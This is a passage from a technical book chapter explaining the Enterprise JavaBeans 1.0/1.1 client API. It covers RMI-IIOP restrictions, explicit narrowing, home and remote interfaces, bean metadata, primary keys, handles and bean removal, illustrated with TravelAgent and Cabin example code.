To be CORBA-compliant, Java RMI-IIOP had to restrict the definition of interfaces and arguments to types that map nicely to CORBA. The restrictions are really not all that bad, and you probably won't even notice them while developing your beans, but it's important to know what they are. The next few paragraphs discuss the Java RMI programming model for both EJB 1.0 and EJB 1.1, and point out the additional restrictions placed on RMI-IIOP types after discussing the restrictions shared by traditional Java RMI and Java RMI-IIOP.

5.2.2. EJB 1.1 and 1.0: The Java RMI Programming Model

The supertypes of the home interface and remote interface, javax.ejb.EJBHome and javax.ejb.EJBObject, both extend java.rmi.Remote. As Remote interface subtypes, they are expected to adhere to the Java RMI specification for Remote interfaces. The Java RMI specification states that every method defined in a Remote interface must throw a java.rmi.RemoteException. The RemoteException is used when problems occur with the distributed object communications, like a network failure or inability to locate the object server. In addition, Remote interface types can throw any application-specific exceptions (exceptions defined by the application developer) that are necessary. The following code shows the remote interface to the TravelAgent bean discussed in Chapter 2, "Architectural Overview". TravelAgent has several remote methods, including bookPassage(). The bookPassage() method can throw a RemoteException (as required), in addition to an application exception, IncompleteConversationalState.

public interface TravelAgent extends javax.ejb.EJBObject {

    public void setCruiseID(int cruise) throws RemoteException, FinderException;
    public int getCruiseID() throws RemoteException;

    public void setCabinID(int cabin) throws RemoteException, FinderException;
    public int getCabinID() throws RemoteException;

    public int getCustomerID() throws RemoteException;

    public Ticket bookPassage(CreditCard card, double price)
        throws RemoteException,IncompleteConversationalState;

    public String [] listAvailableCabins(int bedCount)
        throws RemoteException, IncompleteConversationalState;

}

Java RMI requires that all parameters and return values be either Java primitive types (int, double, byte, etc.) or objects that implement java.io.Serializable. Serializable objects are passed by copy (a.k.a. passed by value), not by reference, which means that changes in a serialized object on one tier are not automatically reflected on the others. Objects that implement Remote, like Customer, Cruise, and Cabin, are passed as remote references--which is a little different. A remote reference is a Remote interface implemented by a distributed object stub. When a remote reference is passed as a parameter or returned from a method, it is the stub that is serialized and passed by value, not the object server remotely referenced by the stub. In the home interface for the TravelAgent bean, the create() method takes a reference to a Customer bean as its only argument.

public interface TravelAgentHome extends javax.ejb.EJBHome {
    public TravelAgent create(Customer customer)
        throws RemoteException, CreateException;
}

The customer is a remote reference to a Customer bean that is passed into the create() method. When a remote reference is passed or returned in EJB, the EJB object stub is passed by copy. The copy of the EJB object stub points to the same EJB object as the original stub. This results in both the bean instance and the client having remote references to the same EJB object. So changes made on the client using the remote reference will be reflected when the bean instance uses the same remote reference. Figure 5-1 and Figure 5-2 show the difference between a serializable object and a remote reference argument in Java RMI.

Figure 5-1. Serializable arguments in Java RMI

Figure 5-2. Remote reference arguments in Java RMI

5.2.2.1. EJB 1.1: Java RMI-IIOP type restrictions

In addition to the Java RMI programming model discussed earlier, Java RMI-IIOP imposes additional restrictions on the remote interfaces and value types used in EJB 1.1. These restrictions are born of limitations inherit in the Interface Definition Language (IDL) upon which CORBA IIOP is based. The exact nature of these limitations is outside the scope of this book. I have only listed two restrictions because the others, like IDL name collisions, are so rarely encountered that it wouldn't be constructive to mention them.[1]

[1]To learn more about CORBA IDL and its mapping to the Java language consult The Common Object Request Broker: Architecture and Specification and The Java Language to IDL Mapping available at the OMG site (www.omg.org).

  • Method overloading is restricted; a remote interface may not directly extend two or more interfaces that have methods with the same name (even if their arguments are different). A remote interface may, however, overload its own methods and extend a remote interface with overloaded method names. Overloading is viewed, here, as including overriding. Figure 5-3 illustrates both of these situations.

Figure 5-3. Overloading rules for Remote interface inheritance in Java RMI-IIOP

  • Serializable types must not directly or indirectly implement the java.rmi.Remote interface.

5.2.2.2. EJB 1.1: Explicit narrowing using PortableRemoteObject

A significant difference between EJB 1.0 and EJB 1.1 is that the new specification requires that remote references be explicitly narrowed using the javax.rmi.PortableRemoteObject.narrow() method. The typical practice in Java would be to cast the reference to the more specific type, as follows:

javax.naming.Context jndiContext;
...
CabinHome home = (CabinHome)jndiContext.lookup("CabinHome");

The javax.naming.Context.lookup() method returns an Object. In EJB 1.0, which uses simple Java RMI, we can assume that it is legal to cast the return argument to a legal Java type. However, EJB 1.1 must be compatible with Java RMI-IIOP, which means that clients must adhere to limitations imposed by the IIOP protocol. IIOP is not specific to any one programming language. As part of the CORBA standard, it must accommodate many programming languages including C++, Ada, COBOL, and others. All programming languages do not support casting, and for this reason casting is not native to IIOP. In fact, some languages have no concept of polymorphism or inheritance (COBOL for example), so implicit casting in CORBA is out of the question.

To accommodate all languages, IIOP does not support stubs that implement multiple interfaces. The stub returned in IIOP implements only the interface specified by the return type of the remote method that was invoked. If the return type is Object, as is the remote reference returned by the lookup() method, the stub will only implement methods specific to the Object type.

Of course, some means for converting a remote reference from a more general type to a more specific type is essential in an object-oriented environment. CORBA provides a mechanism for explicitly narrowing references to a specific type. The javax.rmi.PortableRemoteObject.narrow() method abstracts this mechanism to provide narrowing in IIOP as well as other protocols. Remember while Java RMI-IIOP defines the reference and argument types, in EJB 1.1 it does not define the underlying protocol. Other protocols besides IIOP may also require explicit narrowing. The PortableRemoteObject abstracts the narrowing process so that any protocol can be used.

To narrow the return argument of the Context.lookup() method to the appropriate type, we must explicitly ask for a remote reference that implements the interface we want:

import javax.rmi.PortableRemoteObject;
...
javax.naming.Context jndiContext;
...
Object ref = jndiContext.lookup("CabinHome");
CabinHome home = (CabinHome)
    PortableRemoteObject.narrow(ref, CabinHome.class);

When the narrow() method has successfully executed, it returns a stub that implements the Remote interface specified. Because the stub is known to implement the correct type, you can now use Java's native casting to narrow the stub to the correct Remote interface. The narrow() method takes two arguments: the remote reference that is to be narrowed and the type it should be narrowed to. The definition of the narrow() method is:[2]

[2]Other methods included in the PortableRemoteObject class are not important to EJB application developers. They are intended for Java RMI developers.

package javax.rmi;

public class PortableRemoteObject extends java.lang.Object {

    public static java.lang.Object narrow(java.lang.Object narrowFrom,
                                         java.lang.Class narrowTo)
    throws java.lang.ClassCastException;
    ...
}

The narrow() method only needs to be used when a remote reference to an EJB home or EJB object is returned without a specific Remote interface type. This occurs in six circumstances:

  • When an EJB home reference is obtained using the javax.naming.Context.lookup() method:

Object ref = jndiContext.lookup("CabinHome");
CabinHome home = (CabinHome) PortableRemoteObject.narrow(ref, CabinHome.class);

  • When an EJB object reference is obtained using the javax.ejb.Handle.getEJBObject() method:

Handle handle = .... // get handle
Object ref = handle.getEJBObject();
Cabin cabin = (Cabin) PortableRemoteObject.narrow(ref,Cabin.class);

  • When an EJB home reference is obtained using the javax.ejb.HomeHandle.getEJBHome() method:

HomeHandle homeHdle = ... // get home handle
EJBHome ref = homeHdle.getEJBHome();
CabinHome home = (CabinHome)
    PortableRemoteObject.narrow(ref, CabinHome.class);

  • When an EJB home reference is obtained using the javax.ejb.EJBMetaData.getEJBHome() method:

EJBMetaData metaData = homeHdle.getEJBMetaData();
EJBHome ref = metaData.getEJBHome();
CabinHome home = (CabinHome) PortableRemoteObject.narrow(ref, CabinHome.class);

  • When an EJB object reference is obtained from a collection returned by a Home interface finder method:

ShipHome shipHome = ... // get ship home
Enumeration enum = shipHome.findByCapacity(2000);
while(enum.hasMoreElements()){
    Object ref = enum.nextElement();
    Ship ship = (Ship) PortableRemoteObject.narrow(ref, Ship.class);
    // do something with Ship reference
}

  • When a wide EJB object type is returned from any business method. Here is a hypothetical example:

// Officer extends Crewman
Ship ship = // get Ship remote reference
Crewman crew = ship.getCrewman("Burns", "John", "1st Lieutenant");
Officer burns = (Officer) PortableRemoteObject.narrow(crew, Officer.class);

The PortableRemoteObject.narrow()method is not required when the remote type is specified in the method signature. This is true of the create() methods and find methods that return a single bean. For example, the create() and findByPrimaryKey() methods defined in the CabinHome interface (Chapter 4, "Developing Your First Enterprise Beans") do not require the use of narrow() because these methods already return the correct EJB object type. Business methods that return the correct type do not need to use the narrow() method either, as the following code illustrates:

/* The CabinHome.create() method specifies
 * the Cabin remote interface as the return type
 * so explicit narrowing is not needed.*/
Cabin cabin = cabinHome.create(12345);

/* The CabinHome.findByPrimaryKey() method specifies
 * the Cabin remote interface as the return type
 * so explicit narrowing is not needed.*/
Cabin cabin = cabinHome.findByPrimaryKey(12345);

/* The Ship.getCrewman() business method specifies
 * the Crewman remote interface as the return type
 * so explicit narrowing is not needed.*/
Crewman crew = ship.getCrewman("Burns", "John", "1st Lieutenant");

5.2.3. The Home Interface

The home interface provides life-cycle operations and metadata for the bean. When you use JNDI to access a bean, you obtain a remote reference, or stub, to the bean's EJB home, which implements the home interface. Every bean type has one home interface, which extends the javax.ejb.EJBHome interface.

Here is the EJBHome interface for EJB 1.1:

// EJB 1.1
public interface javax.ejb.EJBHome extends java.rmi.Remote {
    public abstract EJBMetaData getEJBMetaData()
      throws RemoteException;
    public HomeHandle getHomeHandle()    // new in 1.1
      throws RemoteException;
    public abstract void remove(Handle handle)
      throws RemoteException, RemoveException;
    public abstract void remove(Object primaryKey)
      throws RemoteException, RemoveException;
}

EJB 1.1 adds the getHomeHandle() method for accessing the HomeHandle, which doesn't exist in EJB 1.0:

// EJB 1.0
public interface javax.ejb.EJBHome extends java.rmi.Remote {
    public abstract EJBMetaData getEJBMetaData()
      throws RemoteException;
    public abstract void remove(Handle handle)
      throws RemoteException, RemoveException;
    public abstract void remove(Object primaryKey)
      throws RemoteException, RemoveException;
}

5.2.3.1. Removing beans

The EJBHome.remove() methods are responsible for deleting a bean. The argument is either the javax.ejb.Handle of the bean or, if it's an entity bean, its primary key. The Handle will be discussed in more detail later, but it is essentially a serializable pointer to a specific bean. When either of the EJBHome.remove() methods are invoked, the remote reference to the bean on the client becomes invalid: the stub to the bean that was removed no longer works. If for some reason the bean can't be removed, a RemoveException is thrown.

The impact of the EJBHome.remove() on the bean itself depends on the type of bean. For session beans, the EJBHome.remove() methods end the session's service to the client. When EJBHome.remove() is invoked, the remote reference to the session beans becomes invalid, and any conversational state maintained by the bean is lost. The TravelAgent bean is stateless, so no conversational state exists (more about this in Chapter 7, "Session Beans").

When a remove() method is invoked on an entity bean, the remote reference becomes invalid, and any data that it represents is actually deleted from the database. This is a far more destructive activity because once an entity bean is removed, the data that it represents no longer exists. The difference between using a remove() method on a session bean and using remove() on an entity bean is similar to the difference between hanging up on a telephone conversation and actually killing the caller on the other end. Both end the conversation, but the end results are a little different.

The following code fragment is taken from the main() method of a client application that is similar to the clients we created to exercise the Cabin and TravelAgent beans. It shows that you can remove beans using a primary key (entity only) or a handle. Removing an entity bean deletes the entity from the database; removing a session bean results in the remote reference becoming invalid.

Context jndiContext = getInitialContext();

// Obtain a list of all the cabins for ship 1 with bed count of 3.

// EJB 1.0: Use native cast instead of narrow()
Object ref = jndiContext.lookup("TravelAgentHome");
TravelAgentHome agentHome = (TravelAgentHome)
    PortableRemoteObject.narrow(ref,TravelAgentHome.class);

TravelAgent agent = agentHome.create();
String list [] = agent.listCabins(1,3);
System.out.println("1st List: Before deleting cabin number 30");
for(int i = 0; i < list.length; i++){
    System.out.println(list[i]);
}

// Obtain the CabinHome and remove cabin 30. Rerun the same cabin list.

// EJB 1.0: Use native cast instead of narrow()
ref = jndiContext.lookup("CabinHome");
CabinHome c_home = (CabinHome)
    PortableRemoteObject.narrow(ref, CabinHome.class);

CabinPK pk = new CabinPK();
pk.id = 30;
c_home.remove(pk);
list = agent.listCabins(1,3);
System.out.println("2nd List: After deleting cabin number 30");
for (int i = 0; i < list.length; i++) {
    System.out.println(list[i]);
}

Your output should look something like the following:

1st List: Before deleting cabin number 30
1,Master Suite                  ,1
3,Suite 101                     ,1
5,Suite 103                     ,1
7,Suite 105                     ,1
9,Suite 107                     ,1
12,Suite 201                     ,2
14,Suite 203                     ,2
16,Suite 205                     ,2
18,Suite 207                     ,2
20,Suite 209                     ,2
22,Suite 301                     ,3
24,Suite 303                     ,3
26,Suite 305                     ,3
28,Suite 307                     ,3
30,Suite 309                     ,3
2nd List: After deleting cabin number 30
1,Master Suite                  ,1
3,Suite 101                     ,1
5,Suite 103                     ,1
7,Suite 105                     ,1
9,Suite 107                     ,1
12,Suite 201                     ,2
14,Suite 203                     ,2
16,Suite 205                     ,2
18,Suite 207                     ,2
20,Suite 209                     ,2
22,Suite 301                     ,3
24,Suite 303                     ,3
26,Suite 305                     ,3
28,Suite 307                     ,3

First, we create a list of cabins, including the cabin with the primary key 30. Then we remove the Cabin bean with this primary key and create the list again. The second time through, cabin 30 is not listed. Because it was removed, the listCabin() method was unable to find a cabin with a CabinPK.id equal to 30, so it stopped making the list. The bean, including its data, is no longer in the database.

5.2.3.2. Bean metadata

EJBHome.getEJBMetaData() returns an instance of javax.ejb.EJBMetaData that describes the home interface, remote interface, and primary key classes, plus whether the bean is a session or entity bean. This type of metadata is valuable to Java tools like IDEs that have wizards or other mechanisms for interacting with a bean from a client's perspective. A tool could, for example, use the class definitions provided by the EJBMetaData with Java reflection to create an environment where deployed beans can be "wired" together by developers. Of course, information such as the JNDI names and URLs of the beans is also needed.

Most application developers rarely use the EJBMetaData. Knowing that it's there, however, is valuable when you need to create automatic code generators or some other automatic facility. In those cases, familiarity with the Reflection API is necessary.[3] The following code shows the interface definition for EJBMetaData. Any class that implements the EJBMetaData interface must be serializable; it cannot be a stub to a distributed object. This allows IDEs and other tools to save the EJBMetaData for later use.

[3] The Reflection API is outside the scope of this book, but it is covered in Java™ in a Nutshell, by David Flanagan (O'Reilly).

public interface javax.ejb.EJBMetaData {
    public abstract EJBHome getEJBHome();
    public abstract Class getHomeInterfaceClass();
    public abstract Class getPrimaryKeyClass();
    public abstract Class getRemoteInterfaceClass();
    public abstract boolean isSession();
}

The following code shows how the EJBMetaData for the Cabin bean could be used to get more information about the bean. Notice that there is no way to get the bean class using the EJBMetaData; the bean class is not part of the client API and therefore doesn't belong to the metadata.

Context jndiContext = getInitialContext();

// EJB 1.0: Use native cast instead of narrow()
Object ref = jndiContext.lookup("CabinHome");
CabinHome c_home = (CabinHome)
    PortableRemoteObject.narrow(ref, CabinHome.class);

EJBMetaData meta = c_home.getEJBMetaData();

System.out.println(meta.getHomeInterfaceClass().getName());
System.out.println(meta.getRemoteInterfaceClass().getName());
System.out.println(meta.getPrimaryKeyClass().getName());
System.out.println(meta.isSession());

This creates output like the following:

com.titan.cabin.CabinHome
com.titan.cabin.Cabin
com.titan.cabin.CabinPK
false

In addition to providing the class types of the bean, the EJBMetaData also makes available the EJB home for the bean. By obtaining the EJB home from the EJBMetaData, we can obtain references to the EJB object and perform other functions. In the following code, we use the EJBMetaData to get the primary key class, create a key instance, obtain the EJB home, and from it, get a remote reference to the EJB object for a specific cabin entity:

CabinPK pk = (CabinPK)meta.getPrimaryKeyClass().newInstance();
pk.id = 1;

// EJB 1.0: Use native cast instead of narrow()
Object ref = meta.getEJBHome();
CabinHome c_home2 = (CabinHome)
    PortableRemoteObject.narrow(ref,CabinHome.class);

Cabin cabin = c_home2.findByPrimaryKey(pk);
System.out.println(cabin.getName());

5.2.3.3. EJB 1.1: The HomeHandle

EJB 1.1 provides a new object called a HomeHandle, which is accessed by calling the EJBObject.getHomeHandle() method. This method returns a javax.ejb.HomeHandle object, which provides a serializable reference to a bean home. The HomeHandle allows a remote home reference to be stored and used later. It is similar to the javax.ejb.Handle and is discussed in more detail near the end of the chapter.

5.2.3.4. Creating and finding beans

In addition to the standard javax.ejb.EJBHome methods that all home interfaces inherit, home interfaces also include special create and find methods for the bean. We have already talked about create and find methods, but a little review will solidify your understanding of the home interface's role in the client-side API. The following code shows the home interface defined for the Cabin bean:

public interface CabinHome extends javax.ejb.EJBHome {
    public Cabin create(int id)
        throws CreateException, RemoteException;

    public Cabin findByPrimaryKey(CabinPK pk)
        throws FinderException, RemoteException;
}

Create methods throw a CreateException if something goes wrong during the creation process; find methods throw a FinderException if the requested bean can't be located. Since these methods are defined in an interface that subclasses Remote, they must also declare that they throw RemoteException.

The create and find methods are specific to the bean, so it is up to the bean developer to define the appropriate create and find methods in the home interface. CabinHome currently has only one create method that creates a cabin with a specified ID and a find method that looks up a bean given its primary key, but it's easy to imagine methods that would create and find a cabin with particular properties--for example, a cabin with three beds, or a deluxe cabin with blue wallpaper. Unlike entity beans, the home interfaces for session beans do not have find methods. Entity beans represent unique identifiable data within a database and therefore can be found. Session beans, on the other hand, do not represent data: they are created to serve a client application and are not persistent, so there is nothing to find. A find method for a session bean would be meaningless.

The create and find methods defined in the home interfaces are straightforward and can be easily employed by the client. The create methods on the home interface have to match the ejbCreate() methods on the bean class. A create() and ejbCreate() method match when they have the same parameters, when the arguments are of same type and in the same order. This way, when a client calls the create method on the home interface, the call can be delegated to the corresponding ejbCreate() method on the bean instance. The find methods in the home interface work similarly for bean-managed entities. Every find method in the home interface must correspond to an ejbFind() method in the bean itself. Container-managed entities do not implement ejbFind() methods in the bean class; the EJB container supports find methods automatically. You will discover more about how to implement the ebjCreate() and ejbFind() methods in the bean in Chapters Chapter 6, "Entity Beans" and Chapter 7, "Session Beans".

5.2.4. The Remote Interface

The business methods of an enterprise bean are defined by the remote interface provided by the bean developer. The javax.ejb.EJBObject interface, which extends the java.rmi.Remote interface, is the base class for all remote interfaces.

The following code is the remote interface for the TravelAgent bean that we developed in Chapter 4, "Developing Your First Enterprise Beans":

public interface TravelAgent extends javax.ejb.EJBObject {

    public String [] listCabins(int shipID, int bedCount)
        throws RemoteException;
}

Figure 5-4 shows the TravelAgent interface's inheritance hierarchy.

Figure 5-4. Enterprise bean interface inheritance hierarchy

Remote interfaces are focused on the business problem and do not include methods for system-level operations such as persistence, security, concurrency, or transactions. System-level operations are handled by the EJB server, which relieves the client developer of many responsibilities. All remote interface methods for beans must throw, at the very least, a java.rmi.RemoteException, which identifies problems with distributed communications. In addition, methods in the remote interface can throw as many custom exceptions as needed to indicate abnormal business-related conditions or errors in executing the business method. You will learn more about defining custom exceptions in Chapter 6, "Entity Beans".

5.2.5. EJBObject, Handle, and Primary Key

All remote interfaces extend the javax.ejb.EJBObject interface, which provides a set of utility methods and return types. These methods and return types are valuable in managing the client's interactions with beans. Here is the definition for the EJBObject interface:

public interface javax.ejb.EJBObject extends java.rmi.Remote {
    public abstract EJBHome getEJBHome()
        throws RemoteException;
    public abstract Handle getHandle()
        throws RemoteException;
    public abstract Object getPrimaryKey()
        throws RemoteException;
    public abstract boolean isIdentical(EJBObject obj)
        throws RemoteException;
    public abstract void remove()
        throws RemoteException, RemoveException;
}

When the client obtains a reference to the remote interface, it is actually obtaining a remote reference to an EJB object. The EJB object implements the remote interface by delegating business method calls to the bean class; it provides its own implementations for the EJBObject methods. These methods return information about the corresponding bean instance on the server. As discussed in Chapter 2, "Architectural Overview", the EJB object is automatically generated when deploying the bean in the EJB server, so the bean developer doesn't need to write an EJBObject implementation.

5.2.5.1. Getting the EJBHome

The getEJBHome() method returns a remote reference to the EJB home for the bean. The remote reference is returned as a javax.ejb.EJBHome object, which can be narrowed or cast to the specific bean's home interface. This method is useful when an EJB object has left the scope of the EJB home that manufactured it. Because remote references can be passed as references and returned from methods, like any other Java object on the client, a remote reference can quickly find itself in a completely different part of the application from its home. The following code is contrived, but it illustrates how a remote reference can move out of the scope of its home and how getEJBHome() can be used to get a new reference to the EJB home at any time:

public static void main(String [] args) {
    try {
        Context jndiContext = getInitialContext();
        // EJB 1.0: Use native cast instead of narrow()
        Object ref = jndiContext.lookup("TravelAgentHome");
        TravelAgentHome home = (TravelAgentHome)
            PortableRemoteObject.narrow(ref,TravelAgentHome.class);

        // Get a remote reference to the bean (EJB object).
        TravelAgent agent = home.create();
        // Pass the remote reference to some method.
        getTheEJBHome(agent);

        } catch (java.rmi.RemoteException re){re.printStackTrace();}
          catch (Throwable t){t.printStackTrace();}
}

public static void getTheEJBHome(TravelAgent agent)
    throws RemoteException {

    // The home interface is out of scope in this method,
    // so it must be obtained from the EJB object.
    // EJB 1.0: Use native cast instead of narrow()
    Object ref = agent.getEJBHome();
    TravelAgentHome home = (TravelAgentHome)
        PortableRemoteObject.narrow(ref,TravelAgentHome.class);
// Do something useful with the home interface.
}

5.2.5.2. Primary key

EJBObject.getPrimaryKey() returns the primary key for a bean. This method is only supported by EJB objects that represent entity beans. Entity beans represent specific data that can be identified using this primary key. Session beans represent tasks or processes, not data, so a primary key would be meaningless. To better understand the nature of a primary key, we need to look beyond the boundaries of the client's view into the EJB container's layer, which was introduced in Chapters Chapter 2, "Architectural Overview" and Chapter 3, "Resource Management and the Primary Services".

The EJB container is responsible for persistence of the entity beans, but the exact mechanism for persistence is up to the vendor. In order to locate an instance of a bean in a persistent store, the data that makes up the entity must be mapped to some kind of unique key. In relational databases, data is uniquely identified by one or more column values that can be combined to form a primary key. In an object-oriented database, the key wraps an object ID (OID) or some kind of database pointer. Regardless of the mechanism--which isn't really relevant from the client's perspective--the unique key for an entity bean's data is encapsulated by the primary key, which is returned by the EJBObject.getPrimaryKey() method.

The primary key can be used to obtain remote references to entity beans using the findByPrimaryKey() method on the home interface. From the client's perspective, the primary key object can be used to identify a unique entity bean. Understanding the context of a primary key's uniqueness is important, as the following code shows:

Context jndiContext = getInitialContext()

// EJB 1.0: Use native cast instead of narrow()
Object ref = jndiContext.lookup("CabinHome");
CabinHome home = (CabinHome)
    PortableRemoteObject.narrow(ref,CabinHome.class);

Cabin cabin_1 = home.create(101);
CabinPK pk = (CabinPK)cabin_1.getPrimaryKey();
Cabin cabin_2 = home.findByPrimaryKey(pk);

In this code, the client creates a Cabin, retrieves the primary key of that Cabin, and then uses the key to get a new reference to the Cabin. Thus, we have two local variables, cabin_1 and cabin_2, which are remote references to EJB objects. These both reference the same Cabin bean, with the same underlying data, because they have the same primary key.

The primary key must be used for the correct bean in the correct container. If, for example, you were to obtain a primary key from a Cabin EJB object and then try to use that key in the findByPrimaryKey() method of a different bean type, like a Ship bean, it wouldn't work; either it wouldn't compile or you would get a runtime error or FinderException . While this seems fairly obvious, the primary key's relationship to a specific container and home interface is important. The primary key can only be guaranteed to return the same entity if it is used within the container that produced the key. As an example, imagine that a third-party vendor sells the Cabin bean as a product. The vendor sells the Cabin bean to both Titan and to a competitor. Both companies deploy the bean using their own relational databases with their own data. A CabinPK primary key with an id value of 20 in Titan's EJB system will not map to the same Cabin entity in the competitor's EJB system. Both cruise companies have a Cabin bean with an id equal to 20, but they represent different cabins for different ships. The Cabin beans come from different EJB containers, so their primary keys are not equivalent.

Sun Microsystems' Enterprise JavaBeans™ Specification, Versions 1.0 and 1.1, describes the primary key and object identity in the following way:

Every entity EJB object has a unique identity with its home....If two EJB objects have the same home and same primary key, they are considered identical.

A primary key must implement the java.io.Serializable interface. This means that the primary key, regardless of its form, can be obtained from an EJB object, stored on the client using the Java serialization mechanism, and deserialized when needed. When a primary key is deserialized, it can be used to obtain a remote reference to that entity using findByPrimaryKey(), provided that the key is used on the right home interface and container. Preserving the primary key using serialization might be useful if the client application needs to access specific entity beans at a later date. In EJB 1.0, preserving the primary keys is also useful for beans that maintain relationships to other beans. Bean relationships are discussed in more detail in Chapter 9, "Design Strategies".

The following code shows a primary key that is serialized and then deserialized to reobtain a remote reference to the same bean:

// Obtain cabin 101 and set its name.
Context jndiContext = getInitialContext();

// EJB 1.0: Use native cast instead of narrow()
Object ref = jndiContext.lookup("CabinHome");
CabinHome home = (CabinHome)
    PortableRemoteObject.narrow(ref, CabinHome.class);

CabinPK pk_1 = new CabinPK();
pk_1.id = 101;
Cabin cabin_1 = home.findByPrimaryKey(pk_1);
cabin_1.setName("Presidential Suite");

// Serialize the primary key for cabin 101 to a file.
FileOutputStream fos = new FileOutputStream("pk101.ser");
ObjectOutputStream outStream = new ObjectOutputStream(fos);
outStream.writeObject(pk_1);
outStream.flush();
outStream.close();
pk_1 = null;

// Deserialize the primary key for cabin 101.
FileInputStream fis = new FileInputStream("pk101.ser");
ObjectInputStream inStream = new ObjectInputStream(fis);
CabinPK pk_2 = (CabinPK)inStream.readObject();
inStream.close();

// Re-obtain a remote reference to cabin 101 and read its name.
Cabin cabin_2 = home.findByPrimaryKey(pk_2);
System.out.println(cabin_2.getName());

5.2.5.3. Comparing beans for identity

The EJBObject.isIdentical() method compares two EJB object remote references. It's worth considering why Object.equals() isn't sufficient for comparing EJB objects. An EJB object is a distributed object stub and therefore contains a lot of networking and other state. As a result, references to two EJB objects may be unequal, even if they both represent the same unique bean. The EJBObject.isIdentical() method returns true if two EJB object references represent the same bean, even if the EJB object stubs are different object instances.

The following code shows how this might work. It starts by creating two remote references to the TravelAgent bean. These EJB objects both refer to the same type of bean; comparing them with isIdentical() returns true. The two TravelAgent beans were created separately, but because they are stateless they are considered to be equivalent. If TravelAgent had been a stateful bean (which it becomes in Chapter 7, "Session Beans") the outcome would have been very different. Comparing two stateful beans in this manner will result in false because stateful beans have conversational state, which makes them unique. When we use CabinHome.findByPrimaryKey() to locate two EJB objects that refer to the same Cabin entity bean, we know the beans are identical, because we used the same primary key. In this case, isIdentical() also returns true because both EJB object references point to the same entity.

Context ctx  = getInitialContext();

// EJB 1.0: Use native cast instead of narrow()
Object ref = ctx.lookup("TravelAgentHome");
TravelAgentHome agentHome =(TravelAgentHome)
    PortableRemoteObject.narrow(ref, TravelAgentHome.class);

TravelAgent agent_1 = agentHome.create();
TravelAgent agent_2 = agentHome.create();
boolean x = agent_1.isIdentical(agent_2);
// x will equal true; the two EJB objects are equal.

// EJB 1.0: Use native cast instead of narrow()
ref = ctx.lookup("CabinHome");
CabinHome c_home = (CabinHome)
    PortableRemoteObject.narrow(ref, CabinHome.class);

CabinPK pk = new CabinPK();
pk.id = 101;
Cabin cabin_1 = c_home.findByPrimaryKey(pk);
Cabin cabin_2 = c_home.findByPrimaryKey(pk);
x = cabin_1.isIdentical(cabin_2);
// x will equal true; the two EJB objects are equal.

The primary key used in the Cabin bean is simple. More complex primary keys require us to override Object.equals() and Object.hashCode() in order for the EJBObject.isIdentical() method to work. Chapter 6, "Entity Beans" discusses this in more detail.

5.2.5.4. Removing beans

The EJBObject.remove() method is used to remove the session or entity bean. The impact of this method is the same as the EJBHome.remove() method discussed previously. For session beans, remove() causes the session to be released and the EJB object reference to become invalid. For entity beans, the actual entity data is deleted from the database and the remote reference becomes invalid. The following code shows the EJBObject.remove() method in use:

Context jndiContext = getInitialContext();

// EJB 1.0: Use native cast instead of narrow()
Object ref = jndiContext.lookup("CabinHome");
CabinHome c_home = (CabinHome)
    PortableRemoteObject.narrow(ref,CabinHome.class);

CabinPK pk = new CabinPK();
pk.id = 101;
Cabin cabin = c_home.findByPrimaryKey(pk);
cabin.remove();

The remove() method throws a RemoveException if for some reason the reference can't be deleted.

5.2.5.5. The bean handle

The EJBObject.getHandle() method returns a javax.ejb.Handle object. The Handle is a serializable reference to the EJB object. This means that the client can save the Handle object using Java serialization and then deserialize it to reobtain a reference to the same EJB object. This is similar to serializing and reusing the primary key. The Handle allows us to recreate an EJB object remote reference that points to the same type of session bean or the same unique entity bean that the handle came from.

Here is the interface definition of the Handle:

public interface javax.ejb.Handle {
    public abstract EJBObject getEJBObject()
      throws RemoteException;
}

The Handle interface specifies only one method, getEJBObject(). Calling this method returns the EJB object from which the handle was created. Once you've gotten the object back, you can narrow or cast it to the appropriate remote-interface type. The following code shows how to serialize and deserialize the EJB Handle on a client:

// Obtain cabin 100.
Context jndiContext = getInitialContext();

// EJB 1.0: Use native cast instead of narrow()
Object ref = jndiContext.lookup("CabinHome");
CabinHome home = (CabinHome)
    PortableRemoteObject.narrow(ref,CabinHome.class);

CabinPK pk_1 = new CabinPK();
pk_1.id = 100;
Cabin cabin_1 = home.findByPrimaryKey(pk_1);

// Serialize the Handle for cabin 100 to a file.
Handle handle = cabin_1.getHandle();
FileOutputStream fos = new FileOutputStream("handle100.ser");
ObjectOutputStream outStream = new ObjectOutputStream(fos);
outStream.writeObject(handle);
outStream.flush();
fos.close();
handle = null;

// Deserialize the Handle for cabin 100.
FileInputStream fis = new FileInputStream("handle100.ser");
ObjectInputStream inStream = new ObjectInputStream(fis);
handle = (Handle)inStream.readObject();
fis.close();

// Reobtain a remote reference to cabin 100 and read its name.

// EJB 1.0: Use native cast instead of narrow()
ref = handle.getEJBObject();
Cabin cabin_2 = (Cabin)
    PortableRemoteObject.narrow(ref, Cabin.class);

System.out.println(cabin_2.getName());

At first glance, the Handle and the primary key appear to do the same thing, but in truth they are very different. Using the primary key requires you to have the correct EJB home--if you no longer have a reference to the EJB home, you must look up the container using JNDI and get a new home. Only then can you call findByPrimaryKey() to locate the actual bean. The following code shows how this might work:

// Obtain the primary key from an input stream.
CabinPK primaryKey = (CabinPK)inStream.readObject();

// The JNDI API is used to get a root directory or initial context.
javax.naming.Context ctx = new javax.naming.InitialContext();

// Using the initial context, obtain the EJBHome for the Cabin bean.

// EJB 1.0: Use native cast instead of narrow()
Object ref = ctx.lookup("CabinHome");
CabinHome home = (CabinHome)
    PortableRemoteObject.narrow(ref,CabinHome.class);

// Obtain a reference to an EJB object that represents the entity instance.
Cabin cabin_2 = CabinHome.findByPrimaryKey(primaryKey);

The Handle object is easier to use because it encapsulates the details of doing a JNDI lookup on the container. With a Handle, the correct EJB object can be obtained in one method call, Handle.getEJBObject(), rather than using the three method calls required to look up the context, get the home, and find the actual bean.

Furthermore, while the primary key can be used to obtain remote references to unique entity beans, it is not available for session beans; a handle can be used with either type of enterprise bean. This makes using a handle more consistent across bean types. Consistency is, of course, good in its own right, but it isn't the whole story. Normally, we think of session beans as not having identifiable instances because they exist for only the life of the client session, but this is not exactly true. We have mentioned (but not yet shown) stateful session beans, which retain state information between method invocations. With stateful session beans, two instances are not equivalent. A handle allows you to work with a stateful session bean, deactivate the bean, and then reactivate it at a later time using the handle.

